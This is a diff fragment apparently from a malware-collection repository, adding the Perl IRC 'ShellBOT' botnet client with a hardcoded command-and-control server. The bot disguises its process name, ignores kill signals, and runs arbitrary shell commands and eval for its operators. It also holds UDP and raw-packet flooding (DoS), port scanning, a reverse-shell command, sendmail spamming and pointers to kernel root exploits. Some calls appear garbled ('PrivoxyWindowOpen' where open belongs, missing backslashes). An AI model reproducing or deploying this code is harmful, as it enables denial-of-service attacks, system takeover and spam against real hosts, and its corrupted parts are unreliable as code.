= $3; $r_duv++ if $4 >= 5; + $rate = "$1\.$2"."$r_duv"; + } + if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) { + $p_duv = $3; $p_duv++ if $4 >= 5; + $porcen = "$1\.$2"."$p_duv"; + } + return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cur_byte","$d_time", "$rate", "$porcen"); + } + + + return(0); +} + + +# esse 'sub fixaddr' daki foi pego do NET::IRC::DCC identico soh copiei e coloei (colokar nome do autor) +sub fixaddr { + my ($address) = @_; + + chomp $address; # just in case, sigh. + if ($address =~ /^\d+$/) { + return inet_ntoa(pack "N", $address); + } elsif ($address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) { + return $address; + } elsif ($address =~ tr/a-zA-Z//) { # Whee! Obfuscation! + return inet_ntoa(((gethostbyname($address))[4])[0]); + } else { + return; + } +} + + + + diff --git a/web-malware-collection-master/Bots/Perl/shellbot.pl b/web-malware-collection-master/Bots/Perl/shellbot.pl new file mode 100755 index 0000000..bbb6bfd --- /dev/null +++ b/web-malware-collection-master/Bots/Perl/shellbot.pl @@ -0,0 +1,943 @@ +#!/usr/bin/perl +# +# ShellBOT by: devil__ +# Greetz: Puna, Kelserific +# +# Comandos: +# @oldpack <ip> <bytes> <tempo>; +# @udp <ip> <porta> <tempo>; +# @fullportscan <ip> <porta inicial> <porta final>; +# @conback <ip> <porta> +# @download <url> <arquivo a ser salvo>; +# !estatisticas <on/off>; +# !sair para finalizar o bot; +# !novonick para trocar o nick do bot por um novo aleatorio; +# !entra <canal> <tempo> +# !sai <canal> <tempo>; +# !pacotes <on/off> +# @info +# @xpl <kernel> +# @sendmail <assunto> <remetente> <destinatario> <conteudo> + +########## CONFIGURACAO ############ + +my @ps = ("/usr/local/apache/bin/httpd -DSSL","/sbin/syslogd","[eth0]","/sbin/klogd -c 1 -x -x","/usr/sbin/acpid","/usr/sbin/cron","[bash]"); +my $processo = $ps[rand scalar @ps]; + +$servidor='67.225.132.46' unless $servidor; +my $porta='7000'; +my @canais=("#bot"); +my @adms=("xSenha","mendes_rs"); + +# Anti Flood ( 6/3 Recomendado ) +my $linas_max=10; +my $sleep=5; + +my $nick = getnick(); +my $ircname = getident2(); +my $realname = "Israel Defense Forces"; +#chop (my $realname = `Israel Defense Forces`); + +my $acessoshell = 1; +######## Stealth ShellBot ########## +my $prefixo = "!all"; +my $estatisticas = 1; +my $pacotes = 1; +#################################### + +my $VERSAO = '0.1b'; + +$SIG{'INT'} = 'IGNORE'; +$SIG{'HUP'} = 'IGNORE'; +$SIG{'TERM'} = 'IGNORE'; +$SIG{'CHLD'} = 'IGNORE'; +$SIG{'PS'} = 'IGNORE'; + +use IO::Socket; +use Socket; +use IO::Select; +chdir("/"); +$servidor="$ARGV[0]" if $ARGV[0]; +$0="$processo"."�"; +my $pid=fork; +exit if $pid; +die "Problema com o fork: $!" unless defined($pid); + +my %irc_servers; +my %DCC; +my $dcc_sel = new IO::Select->new(); + +##################### +# Stealth Shellbot # +##################### + +sub getnick { + return "Fuck|".(int(rand(1000))); +} + +sub getident2 { + my $length=shift; + $length = 3 if ($length < 3); + + my @chars=('a'..'z','A'..'Z','1'..'9'); + foreach (1..$length) + { + $randomstring.=$chars[rand @chars]; + } + return $randomstring; +} + +############################# +# B0tchZ na veia ehehe :P # +############################# + +$sel_cliente = IO::Select->new(); +sub sendraw { + if ($#_ == '1') { + my $socket = $_[0]; + print $socket "$_[1]n"; + } else { + print $IRC_cur_socket "$_[0]n"; + } +} + +sub conectar { + my $meunick = $_[0]; + my $servidor_con = $_[1]; + my $porta_con = $_[2]; + + my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1); + if (defined($IRC_socket)) { + $IRC_cur_socket = $IRC_socket; + + $IRC_socket->autoflush(1); + $sel_cliente->add($IRC_socket); + + $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con"; + $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con"; + $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; + $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost; + nick("$meunick"); + sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname"); + print "nShellBot $VERSAO by: Haddemn"; + print "nick: $nickn"; + print "servidor: $servidornn"; + sleep 2; + } + +} +my $line_temp; +while( 1 ) { + while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); } + delete($irc_servers{''}) if (defined($irc_servers{''})); + &DCC::connections; + my @ready = $sel_cliente->can_read(0.6); + next unless(@ready); + foreach $fh (@ready) { + $IRC_cur_socket = $fh; + $meunick = $irc_servers{$IRC_cur_socket}{'nick'}; + $nread = sysread($fh, $msg, 4096); + if ($nread == 0) { + $sel_cliente->remove($fh); + $fh->close; + delete($irc_servers{$fh}); + } + @lines = split (/n/, $msg); + + for(my $c=0; $c<= $#lines; $c++) { + $line = $lines[$c]; + $line=$line_temp.$line if ($line_temp); + $line_temp=''; + $line =~ s/r$//; + unless ($c == $#lines) { + parse("$line"); + } else { + if ($#lines == 0) { + parse("$line"); + } elsif ($lines[$c] =~ /r$/) { + parse("$line"); + } elsif ($line =~ /^(S+) NOTICE AUTH :***/) { + parse("$line"); + } else { + $line_temp = $line; + } + } + } + } +} + +sub parse { + my $servarg = shift; + if ($servarg =~ /^PING :(.*)/) { + sendraw("PONG :$1"); + } elsif ($servarg =~ /^:(.+?)!(.+?)@(.+?) PRIVMSG (.+?) :(.+)/) { + my $pn=$1; my $onde = $4; my $args = $5; + if ($args =~ /^�01VERSION�01$/) { + notice("$pn", "�01VERSION mIRC v6.16 Khaled Mardam-Bey�01"); + } + elsif ($args =~ /^�01PINGs+(d+)�01$/) { + notice("$pn", "�01PONG�01"); + } + elsif (grep {$_ =~ /^Q$pnE$/i } @adms) { + if ($onde eq "$meunick"){ + shell("$pn", "$args"); + } + elsif ($args =~ /^(Q$meunickE|Q$prefixoE)s+(.*)/ ) { + my $natrix = $1; + my $arg = $2; + if ($arg =~ /^!(.*)/) { + ircase("$pn","$onde","$1") unless ($natrix eq "$prefixo" and $arg =~ /^!nick/); + } elsif ($arg =~ /^@(.*)/) { + $ondep = $onde; + $ondep = $pn if $onde eq $meunick; + bfunc("$ondep","$1"); + } else { + shell("$onde", "$arg"); + } + } + } + } elsif ($servarg =~ /^:(.+?)!(.+?)@(.+?)s+NICKs+:(S+)/i) { + if (lc($1) eq lc($meunick)) { + $meunick=$4; + $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; + } + } elsif ($servarg =~ m/^:(.+?)s+433/i) { + $meunick = getnick(); + nick("$meunick"); + } elsif ($servarg =~ m/^:(.+?)s+001s+(S+)s/i) { + $meunick = $2; + $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; + $irc_servers{$IRC_cur_socket}{'nome'} = "$1"; + foreach my $canal (@canais) { + sendraw("JOIN $canal"); + } + } +} + +sub bfunc { + my $printl = $_[0]; + my $funcarg = $_[1]; + if (my $pid = fork) { + waitpid($pid, 0); + } else { + if (fork) { + exit; + } else { + if ($funcarg =~ /^portscan (.*)/) { + my $hostip="$1"; + my @portas=("21","22","23","25","53","59","79","80","110","113","135","139","443","445","1025","5000","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","8080","8018"); + my (@aberta, %porta_banner); + foreach my $porta (@portas) { + my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4); + if ($scansock) { + push (@aberta, $porta); + $scansock->close; + } + } + if (@aberta) { + sendraw($IRC_cur_socket, "PRIVMSG $printl :Portas abertas: @aberta"); + } else { + sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada."); + } + } + + #elsif ($funcarg =~ /^downloads+(.*)s+(.*)/) { + # getstore("$1", "$2"); + # sendraw($IRC_cur_socket, "PRIVMSG $printl :Download de $2 ($1) Concluído!"); + # } + + elsif ($funcarg =~ /^fullportscans+(.*)s+(d+)s+(d+)/) { + my $hostname="$1"; + my $portainicial = "$2"; + my $portafinal = "$3"; + my (@abertas, %porta_banner); + foreach my $porta ($portainicial..$portafinal) + { + my $scansock = IO::Socket::INET->new(PeerAddr => $hostname, PeerPort => $porta, Proto => 'tcp', Timeout => 4); + if ($scansock) { + push (@abertas, $porta); + $scansock->close; + sendraw($IRC_cur_socket, "PRIVMSG $printl :Porta $porta aberta em $hostname"); + } + } + if (@abertas) { + sendraw($IRC_cur_socket, "PRIVMSG $printl :Portas abertas: @abertas"); + } else { + sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada."); + } + } + + # Duas Versões simplificada do meu Tr0x ;D + elsif ($funcarg =~ /^udps+(.*)s+(d+)s+(d+)/) { + return unless $pacotes; + socket(Tr0x, PF_INET, SOCK_DGRAM, 17); + my $alvo=inet_aton("$1"); + my $porta = "$2"; + my $tempo = "$3"; + sendraw($IRC_cur_socket, "PRIVMSG $printl :�02pacotando�02: $1 �02tempo�02: $tempo"); + my $pacote; + my $pacotese; + my $fim = time + $tempo; + my $pacota = 1; + while (($pacota == "1")) { + $pacota = 0 if ((time >= $fim) && ($tempo != "0")); + $pacote=$rand x $rand x $rand; + $porta = int(rand 65000) +1 if ($porta == "0"); + send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++; + } + #sendraw($IRC_cur_socket, "PRIVMSG $printl :�02Tempo de Pacotes�02: $tempo"."s"); + #sendraw($IRC_cur_socket, "PRIVMSG $printl :�02Total de Pacotes�02: $pacotese"); + sendraw($IRC_cur_socket, "PRIVMSG $printl :�02pacotado�02: $1 �02tempo�02: $tempo"."segs �02pacotes�02: $pacotese"); + } + + elsif ($funcarg =~ /^udpfaixas+(.*)s+(d+)s+(d+)/) { + sendraw($IRC_cur_socket, "PRIVMSG $printl :�02aviso�02: @udpfaixa foi removido do bot"); + exit; + return unless $pacotes; + socket(Tr0x, PF_INET, SOCK_DGRAM, 17); + my $faixaip="$1"; + my $porta = "$2"; + my $tempo = "$3"; + sendraw($IRC_cur_socket, "PRIVMSG $printl :�02Pacotando�02: $1 �02tempo�02: $tempo"); + my $pacote; + my $pacotes; + my $fim = time + $tempo; + my $pacota = 1; + my $alvo; + while ($pacota == "1") { + $pacota = 0 if ((time >= $fim) && ($tempo != "0")); + for (my $faixa = 1; $faixa <= 255; $faixa++) { + $alvo = inet_aton("$faixaip.$faixa"); + $pacote=$rand x $rand x $rand; + $porta = int(rand 65000) +1 if ($porta == "0"); + send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++; + if ($faixa >= 255) { + $faixa = 1; + } + } + } + #sendraw($IRC_cur_socket, "PRIVMSG $printl :�02Tempo de Pacotes�02: $tempo"."s"); + #sendraw($IRC_cur_socket, "PRIVMSG $printl :�02Total de Pacotes�02: $pacotese"); + sendraw($IRC_cur_socket, "PRIVMSG $printl :�02faixa�02: $1"."1-"."$2"."255 �02tempo�02: $tempo"."segs �02pacotes�02: $pacotese"); + } + + # Conback.pl by Dominus Vis adaptada e adicionado suporte pra windows ;p + elsif ($funcarg =~ /^conbacks+(.*)s+(d+)/) { + my $host = "$1"; + my $porta = "$2"; + sendraw($IRC_cur_socket, "PRIVMSG $printl :�02Conectando-se em�02: $host:$porta"); + my $proto = getprotobyname('tcp'); + my $iaddr = inet_aton($host); + my $paddr = sockaddr_in($porta, $iaddr); + my $shell = "/bin/sh -i"; + if ($^O eq "MSWin32") { + $shell = "cmd.exe"; + } + socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!"; + connect(SOCKET, $paddr) or die "connect: $!"; + PrivoxyWindowOpen(STDIN, ">&SOCKET"); + PrivoxyWindowOpen(STDOUT, ">&SOCKET"); + PrivoxyWindowOpen(STDERR, ">&SOCKET"); + system("$shell"); + close(STDIN); + close(STDOUT); + close(STDERR); + } + + elsif ($funcarg =~ /^oldpacks+(.*)s+(d+)s+(d+)/) { + return unless $pacotes; + my ($dtime, %pacotes) = attacker("$1", "$2", "$3"); + $dtime = 1 if $dtime == 0; + my %bytes; + $bytes{igmp} = $2 * $pacotes{igmp}; + $bytes{icmp} = $2 * $pacotes{icmp}; + $bytes{o} = $2 * $pacotes{o}; + $bytes{udp} = $2 * $pacotes{udp}; + $bytes{tcp} = $2 * $pacotes{tcp}; + sendraw($IRC_cur_socket, "PRIVMSG $printl :�02 - Status GERAL -�02"); + sendraw($IRC_cur_socket, "PRIVMSG $printl :�02Tempo�02: $dtime"."s"); + sendraw($IRC_cur_socket, "PRIVMSG $printl :�02Total pacotes�02: ".($pacotes{udp} + $pacotes{igmp} + $pacotes{icmp} + $pacotes{o})); + sendraw($IRC_cur_socket, "PRIVMSG $printl :�02Total bytes�02: ".($bytes{icmp} + $bytes {igmp} + $bytes{udp} + $bytes{o})); + sendraw($IRC_cur_socket, "PRIVMSG $printl :�02Média de envio�02: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)/$dtime)." kbps"); + } + elsif ($funcarg =~ /^xpls+(.*)/) { + my $kernel = "$1"; + if ($kernel =~ /2.4.17/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: newlocal, kmod, uselib24"); goto downloads; } + if ($kernel =~ /2.4.18/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: newlocal, kmod, brk, brk2"); goto downloads; } + if ($kernel =~ /2.4.19/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: kmod, newlocal, w00t, brkm brk2"); goto downloads; } + if ($kernel =~ /2.4.20/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: kmod, kmod2, newlocal, w00t, ptrace, ptrace-kmod, brk, brk2"); goto downloads; } + if ($kernel =~ /2.4.21/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: brk, brk2, ptrace, ptrace-kmod, uselib24, elflbl"); goto downloads; } + if ($kernel =~ /2.4.22/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: brk, brk2, ptrace, ptrace-kmod, uselib24, elflbl, mremap_pte, loginx"); goto downloads; } + if ($kernel =~ /2.4.23/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: uselib24, elflbl, mremap_pte"); goto downloads; } + if ($kernel =~ /2.4.24/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: uselib24, elflbl, mremap_pte"); goto downloads; } + if ($kernel =~ /2.4.25/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: uselib24, elflbl"); goto downloads; } + if ($kernel =~ /2.4.26/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: uselib24, elflbl"); goto downloads; } + if ($kernel =~ /2.4.27/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: uselib24, elflbl"); goto downloads; } + if ($kernel =~ /2.4.28/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: uselib24, elflbl"); goto downloads; } + if ($kernel =~ /2.6.0/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: wuftpd, h00lyshit"); goto downloads; } + if ($kernel =~ /2.6.2/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: mremap_pte, krad, h00lyshit"); goto downloads; } + if ($kernel =~ /2.6.5/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: krad, krad2, h00lyshit"); goto downloads; } + if ($kernel =~ /2.6.6/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: krad, krad2, h00lyshit"); goto downloads; } + if ($kernel =~ /2.6.7/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: krad2, h00lyshit"); goto downloads; } + if ($kernel =~ /2.6.8/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: krad2, h00lyshit"); goto downloads; } + if ($kernel =~ /2.6.9/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: krad2, h00lyshit, r00t"); goto downloads; } + if ($kernel =~ /2.6.10/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: krad2, h00lyshit"); goto downloads; } + if ($kernel =~ /2.6.11/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: h00lyshit, k-rad3"); goto downloads; } + if ($kernel =~ /2.6.12/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: h00lyshit"); goto downloads; } + if ($kernel =~ /2.6.13/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: raptor, raptor2, h00lyshit, solpot, prctl"); goto downloads; } + if ($kernel =~ /2.6.14/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: raptor, raptor2, h00lyshit, solpot, prctl"); goto downloads; } + if ($kernel =~ /2.6.15/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: raptor, raptor2, h00lyshit, solpot, prctl"); goto downloads; } + if ($kernel =~ /2.6.16/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: raptor, raptor2, h00lyshit, solpot, prctl"); goto downloads; } + if ($kernel =~ /2.6.17/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: raptor, raptor2, h00lyshit, solpot, prctl"); goto downloads; } + sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: nothing =)"); + exit; + downloads: + sendraw($IRC_cur_socket, "PRIVMSG $printl : downloads: 12http://dvl.by.ru/xpl"); + } + elsif ($funcarg =~ /^info/) { + my $sysos = `uname -sr`; + my $uptime = `uptime`; + if ( $sysos =~ /freebsd/i ) { + $sysname = `hostname`; + $memory = `expr `cat /var/run/dmesg.boot | grep "real memory" | cut -f5 -d" "` / 1048576`; + $swap = `$toploc | grep -i swap | cut -f2 -d" " | cut -f1 -d"M"`; + chomp($memory); + chomp($swap); + } + elsif ( $sysos =~ /linux/i ) { + $sysname = `hostname -f`; + $memory = `free -m |grep -i mem | awk '{print $2}'`; + $swap = `free -m |grep -i swap | awk '{print $2}'`; + chomp($swap); + chomp($memory); + } + else { + $sysname ="Not Found";; + $memory ="Not found"; + $swap ="Not Found"; + } + sendraw($IRC_cur_socket, "PRIVMSG $printl : 15--- 3[01 SysInfo 3] 15-------------"); + sendraw($IRC_cur_socket, "PRIVMSG $printl : 01os/host15;01 $sysos - $sysname "); + sendraw($IRC_cur_socket, "PRIVMSG $printl : 01proc/PID15;01 $processo - $$"); + sendraw($IRC_cur_socket, "PRIVMSG $printl : 01uptime15;01 $uptime"); + sendraw($IRC_cur_socket, "PRIVMSG $printl : 01memory/swap15;01 $memory - $swap"); + sendraw($IRC_cur_socket, "PRIVMSG $printl : 01perl/bot15;01 $] - $VERSAO"); + sendraw($IRC_cur_socket, "PRIVMSG $printl : 15--- 3[01 /SysInfo 3] 15------------"); + } + elsif($funcarg =~ /^sendmails+(.*)s+(.*)s+(.*)s+(.*)/) { + sendraw($IRC_cur_socket, "PRIVMSG $printl : 01Enviando e-mail para: $3"); + $subject = $1; + $sender = $2; + $recipient = $3; + @corpo = $4; + $mailtype = "content-type: text/html"; + $sendmail = '/usr/sbin/sendmail'; + PrivoxyWindowOpen(SENDMAIL, "| $sendmail -t"); + print SENDMAIL "$mailtypen"; + print SENDMAIL "Subject: $subjectn"; + print SENDMAIL "From: $sendern"; + print SENDMAIL "To: $recipientnn"; + print SENDMAIL "@corponn"; + close (SENDMAIL); + sendraw($IRC_cur_socket, "PRIVMSG $printl :01email enviado para: $recipient"); + } + exit; + } + } +} + +sub ircase { + my ($kem, $printl, $case) = @_; + + if ($case =~ /^join (.*)/) { + j("$1"); + } + elsif ($case =~ /^part (.*)/) { + p("$1"); + } + elsif ($case =~ /^rejoins+(.*)/) { + my $chan = $1; + if ($chan =~ /^(d+) (.*)/) { + for (my $ca = 1; $ca <= $1; $ca++ ) { + p("$2"); + j("$2"); + } + } else { + p("$chan"); + j("$chan"); + } + } + elsif ($case =~ /^op/) { + op("$printl", "$kem") if $case eq "op"; + my $oarg = substr($case, 3); + op("$1", "$2") if ($oarg =~ /(S+)s+(S+)/); + } + elsif ($case =~ /^deop/) { + deop("$printl", "$kem") if $case eq "deop"; + my $oarg = substr($case, 5); + deop("$1", "$2") if ($oarg =~ /(S+)s+(S+)/); + } + elsif ($case =~ /^voice/) { + voice("$printl", "$kem") if $case eq "voice"; + $oarg = substr($case, 6); + voice("$1", "$2") if ($oarg =~ /(S+)s+(S+)/); + } + elsif ($case =~ /^devoice/) { + devoice("$printl", "$kem") if $case eq "devoice"; + $oarg = substr($case, 8); + devoice("$1", "$2") if ($oarg =~ /(S+)s+(S+)/); + } + elsif ($case =~ /^msgs+(S+) (.*)/) { + msg("$1", "$2"); + } + elsif ($case =~ /^floods+(d+)s+(S+) (.*)/) { + for (my $cf = 1; $cf <= $1; $cf++) { + msg("$2", "$3"); + } + } + elsif ($case =~ /^ctcpfloods+(d+)s+(S+) (.*)/) { + for (my $cf = 1; $cf <= $1; $cf++) { + ctcp("$2", "$3"); + } + } + elsif ($case =~ /^ctcps+(S+) (.*)/) { + ctcp("$1", "$2"); + } + elsif ($case =~ /^invites+(S+) (.*)/) { + invite("$1", "$2"); + } + elsif ($case =~ /^nick (.*)/) { + nick("$1"); + } + elsif ($case =~ /^conectas+(S+)s+(S+)/) { + conectar("$2", "$1", 6667); + } + elsif ($case =~ /^sends+(S+)s+(S+)/) { + DCC::SEND("$1", "$2"); + } + elsif ($case =~ /^raw (.*)/) { + sendraw("$1"); + } + elsif ($case =~ /^eval (.*)/) { + eval "$1"; + } + elsif ($case =~ /^entras+(S+)s+(d+)/) { + sleep int(rand($2)); + j("$1"); + } + elsif ($case =~ /^sais+(S+)s+(d+)/) { + sleep int(rand($2)); + p("$1"); + } + elsif ($case =~ /^sair/) { + quit(); + } + elsif ($case =~ /^novonick/) { + my $novonick = getnick(); + nick("$novonick"); + } + elsif ($case =~ /^estatisticas (.*)/) { + if ($1 eq "on") { + $estatisticas = 1; + msg("$printl", "Estatísticas ativadas!"); + } elsif ($1 eq "off") { + $estatisticas = 0; + msg("$printl", "Estatísticas desativadas!"); + } + } + elsif ($case =~ /^pacotes (.*)/) { + if ($1 eq "on") { + $pacotes = 1; + msg("$printl", "Pacotes ativados!") if ($estatisticas == "1"); + } elsif ($1 eq "off") { + $pacotes = 0; + msg("$printl", "Pacotes desativados!") if ($estatisticas == "1"); + } + } +} +sub shell { + return unless $acessoshell; + my $printl=$_[0]; + my $comando=$_[1]; + if ($comando =~ /cd (.*)/) { + chdir("$1") || msg("$printl", "Diretório inexistente!"); + return; + } + elsif ($pid = fork) { + waitpid($pid, 0); + } else { + if (fork) { + exit; + } else { + my @resp=`$comando 2>&1 3>&1`; + my $c=0; + foreach my $linha (@resp) { + $c++; + chop $linha; + sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha"); + if ($c >= "$linas_max") { + $c=0; + sleep $sleep; + } + } + exit; + } + } +} + +#eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki +sub attacker { + my $iaddr = inet_aton($_[0]); + my $msg = 'B' x $_[1]; + my $ftime = $_[2]; + my $cp = 0; + my (%pacotes); + $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0; + + socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++; + socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++; + socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++; + socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++; + return(undef) if $cp == 4; + my $itime = time; + my ($cur_time); + while ( 1 ) { + for (my $porta = 1; $porta <= 65535; $porta++) { + $cur_time = time - $itime; + last if $cur_time >= $ftime; + send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++ if ($pacotes == 1); + send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++ if ($pacotes == 1); + send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++ if ($pacotes == 1); + send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++ if ($pacotes == 1); + + # DoS ?? :P + for (my $pc = 3; $pc <= 255;$pc++) { + next if $pc == 6; + $cur_time = time - $itime; + last if $cur_time >= $ftime; + socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next; + send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++ if ($pacotes == 1); + } + } + last if $cur_time >= $ftime; + } + return($cur_time, %pacotes); +} + +############# +# ALIASES # +############# + +sub action { + return unless $#_ == 1; + sendraw("PRIVMSG $_[0] :�01ACTION $_[1]�01"); +} + +sub ctcp { + return unless $#_ == 1; + sendraw("PRIVMSG $_[0] :�01$_[1]�01"); +} +sub msg { + return unless $#_ == 1; + sendraw("PRIVMSG $_[0] :$_[1]"); +} + +sub notice { + return unless $#_ == 1; + sendraw("NOTICE $_[0] :$_[1]"); +} + +sub op { + return unless $#_ == 1; + sendraw("MODE $_[0] +o $_[1]"); +} +sub deop { + return unless $#_ == 1; + sendraw("MODE $_[0] -o $_[1]"); +} +sub hop { + return unless $#_ == 1; + sendraw("MODE $_[0] +h $_[1]"); +} +sub dehop { + return unless $#_ == 1; + sendraw("MODE $_[0] +h $_[1]"); +} +sub voice { + return unless $#_ == 1; + sendraw("MODE $_[0] +v $_[1]"); +} +sub devoice { + return unless $#_ == 1; + sendraw("MODE $_[0] -v $_[1]"); +} +sub ban { + return unless $#_ == 1; + sendraw("MODE $_[0] +b $_[1]"); +} +sub unban { + return unless $#_ == 1; + sendraw("MODE $_[0] -b $_[1]"); +} +sub kick { + return unless $#_ == 1; + sendraw("KICK $_[0] $_[1] :$_[2]"); +} + +sub modo { + return unless $#_ == 0; + sendraw("MODE $_[0] $_[1]"); +} +sub mode { modo(@_); } + +sub j { &join(@_); } +sub join { + return unless $#_ == 0; + sendraw("JOIN $_[0]"); +} +sub p { part(@_); } +sub part {sendraw("PART $_[0]");} + +sub nick { + return unless $#_ == 0; + sendraw("NICK $_[0]"); +} + +sub invite { + return unless $#_ == 1; + sendraw("INVITE $_[1] $_[0]"); +} +sub topico { + return unless $#_ == 1; + sendraw("TOPIC $_[0] $_[1]"); +} +sub topic { topico(@_); } + +sub whois { + sendraw("WHOIS $_[0]"); +} +sub who { + return unless $#_ == 0; + sendraw("WHO $_[0]"); +} +sub names { + return unless $#_ == 0; + sendraw("NAMES $_[0]"); +} +sub away { + sendraw("AWAY $_[0]"); +} +sub back { away(); } +sub quit { + sendraw("QUIT :$_[0]"); + exit; +} + +# DCC +package DCC; + +sub connections { + my @ready = $dcc_sel->can_read(1); +# return unless (@ready); + foreach my $fh (@ready) { + my $dcctipo = $DCC{$fh}{tipo}; + my $arquivo = $DCC{$fh}{arquivo}; + my $bytes = $DCC{$fh}{bytes}; + my $cur_byte = $DCC{$fh}{curbyte}; + my $nick = $DCC{$fh}{nick}; + + my $msg; + my $nread = sysread($fh, $msg, 10240); + + if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) { + $DCC{$fh}{status} = "Cancelado"; + $DCC{$fh}{ftime} = time; + $dcc_sel->remove($fh); + $fh->close; + next; + } + + if ($dcctipo eq "get") { + $DCC{$fh}{curbyte} += length($msg); + + my $cur_byte = $DCC{$fh}{curbyte}; + + PrivoxyWindowOpen(FILE, ">> $arquivo"); + print FILE "$msg" if ($cur_byte <= $bytes); + close(FILE); + + my $packbyte = pack("N", $cur_byte); + print $fh "$packbyte"; + + if ($bytes == $cur_byte) { + $dcc_sel->remove($fh); + $fh->close; + $DCC{$fh}{status} = "Recebido"; + $DCC{$fh}{ftime} = time; + next; + } + } elsif ($dcctipo eq "send") { + my $send = $fh->accept; + $send->autoflush(1); + $dcc_sel->add($send); + $dcc_sel->remove($fh); + $DCC{$send}{tipo} = 'sendcon'; + $DCC{$send}{itime} = time; + $DCC{$send}{nick} = $nick; + $DCC{$send}{bytes} = $bytes; + $DCC{$send}{curbyte} = 0; + $DCC{$send}{arquivo} = $arquivo; + $DCC{$send}{ip} = $send->peerhost; + $DCC{$send}{porta} = $send->peerport; + $DCC{$send}{status} = "Enviando"; + + #de cara manda os primeiro 1024 bytes do arkivo.. o resto fik com o sendcon + open(FILE, "< $arquivo"); + my $fbytes; + read(FILE, $fbytes, 1024); + print $send "$fbytes"; + close FILE; +# delete($DCC{$fh}); + } elsif ($dcctipo eq 'sendcon') { + my $bytes_sended = unpack("N", $msg); + $DCC{$fh}{curbyte} = $bytes_sended; + if ($bytes_sended == $bytes) { + $fh->close; + $dcc_sel->remove($fh); + $DCC{$fh}{status} = "Enviado"; + $DCC{$fh}{ftime} = time; + next; + } + PrivoxyWindowOpen(SENDFILE, "< $arquivo"); + seek(SENDFILE, $bytes_sended, 0); + my $send_bytes; + read(SENDFILE, $send_bytes, 1024); + print $fh "$send_bytes"; + close(SENDFILE); + } + } +} + + +sub SEND { + my ($nick, $arquivo) = @_; + unless (-r "$arquivo") { + return(0); + } + + my $dccark = $arquivo; + $dccark =~ s/[.*/](S+)/$1/; + + my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'}; + my $longip = unpack("N",inet_aton($meuip)); + + my @filestat = stat($arquivo); + 